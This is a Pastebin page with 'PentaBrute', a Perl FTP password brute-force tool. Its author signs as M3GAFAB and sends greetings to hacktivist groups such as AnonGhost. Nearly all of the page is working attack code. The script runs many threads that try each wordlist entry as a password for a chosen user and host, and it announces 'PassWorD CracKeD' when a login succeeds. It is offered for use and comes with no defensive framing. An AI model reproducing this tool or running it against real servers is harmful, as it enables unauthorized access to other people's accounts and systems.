Advertisement
M3GAFAB

PentaBrute - FTP BRUTE ATTACK PERL TOOL

Jan 13th, 2014
2,313
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.92 KB | None | 0 0
  1.  
  2. #megafab.net
  3. #pentagoncrew.org
  4. //////////////////////////////////////////////////////////////////////////////////////////////////////
  5.  
  6. #########################################################################################
  7. # PERL Tool.
  8. # PentaBrute - FTP BRUTE ATTACK TOOL .
  9. # Author : M3GAFAB .
  10. # Greetz to : PentaSec - KHS - AnonGhost - THA - Albanian & Muslim's hacker's !
  11. ##########################################################################################
  12.  
  13. #!/usr/bin/env perl
  14. use strict;
  15. use warnings;
  16. use threads;
  17. use Net::FTP;
  18. use Getopt::Long;
  19. use threads::shared;
  20. use Term::ANSIColor qw(:constants);
  21.  
  22. sub banner {
  23. print '
  24. '.GREEN.'[+]'.RESET.' FTP Brute Force by M 3 G A F A B
  25. '.GREEN.'[+]'.RESET.' PentaSeC - KHS - AnonGhost
  26.  
  27. '.BOLD BLUE.'[*]'.RESET.' U S A G E:
  28.  
  29. -u | --user => Here comes the username [example: admin]
  30. -h | --host => Put the host here [example: 127.0.0.1]
  31. -w | --wordlist => Put the wordlist here [example: wordlist.txt]
  32. -t | --threads => Number of threads [example: 10]
  33.  
  34. '.BOLD BLUE.'[*]'.RESET.' Example how to use:
  35.  
  36. perl pentaBrute.pl -u admin -h 127.0.01 -w my-wordlist.txt -t 10
  37.  
  38. ';
  39. exit(1);
  40. }
  41.  
  42. my($wordlist,$thr,$ini,$fin,@threads,$arq,$i,@a);
  43. our($user,$host,@aa);
  44.  
  45. GetOptions( 'u|user=s' => \$user,
  46. 'h|host=s' => \$host,
  47. 'w|wordlist=s' => \$wordlist,
  48. 't|threads=i' => \$thr
  49. ) || die &banner;
  50.  
  51. &banner if (not defined($user)) || (not defined($host)) || (not defined($wordlist)) || (not defined($thr));
  52.  
  53. open($arq,"<$wordlist") || die($!);
  54. @a = <$arq>;
  55. close($arq);
  56. @aa = grep { !/^$/ } @a;
  57.  
  58. print "\n".GREEN.'[+]'.RESET." Starting Attack";
  59. print "\n".GREEN.'[+]'.RESET." Host => $host";
  60. print "\n".GREEN.'[+]'.RESET." User => $user";
  61. print "\n".GREEN.'[+]'.RESET." Wordlist => $wordlist";
  62. print "\n".GREEN.'[+]'.RESET." Threads => $thr\n\n";
  63.  
  64. my $stop :shared = 0;
  65.  
  66. $ini = 0;
  67. $fin = $thr - 1;
  68.  
  69. while(1){
  70.  
  71. exit if $stop;
  72.  
  73. @threads = ();
  74.  
  75. for($i=$ini;$i<=$fin;$i++){
  76. push(@threads,$i);
  77. }
  78.  
  79. foreach(@threads){
  80. $_ = threads->create(\&ftp);
  81. }
  82.  
  83. foreach(@threads){
  84. $_->join();
  85. }
  86.  
  87. $ini = $fin + 1;
  88. $fin = $fin + $thr;
  89.  
  90. }
  91.  
  92. sub ftp {
  93.  
  94. my $id = threads->tid();
  95.  
  96. threads->exit() if $stop;
  97.  
  98. $id--;
  99.  
  100. if(defined($aa[$id])){
  101. chomp($aa[$id]);
  102. print BOLD BLUE .'[*]'. RESET ." Testing=> $aa[$id]\n";
  103. my $f = Net::FTP->new($host) || die($!);
  104.  
  105. if($f->login($user, $aa[$id])){
  106. $f->quit;
  107. print "\n\n\t".GREEN.'[+]'.RESET." PassWorD CracKeD : $aa[$id]\n\n\n";
  108. $stop = 1;
  109. } else {
  110. $f->quit;
  111. }
  112.  
  113. } else {
  114. $stop = 1;
  115. }
  116. }
  117.  
  118. ####################################################################################################
  119. cyberz0ne.net
  120. twitter.com/M3GAFAB ( Follow )
  121. facebook.com/m3gafabb ( Like )
  122.  
  123. ./enD
  124. ####################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement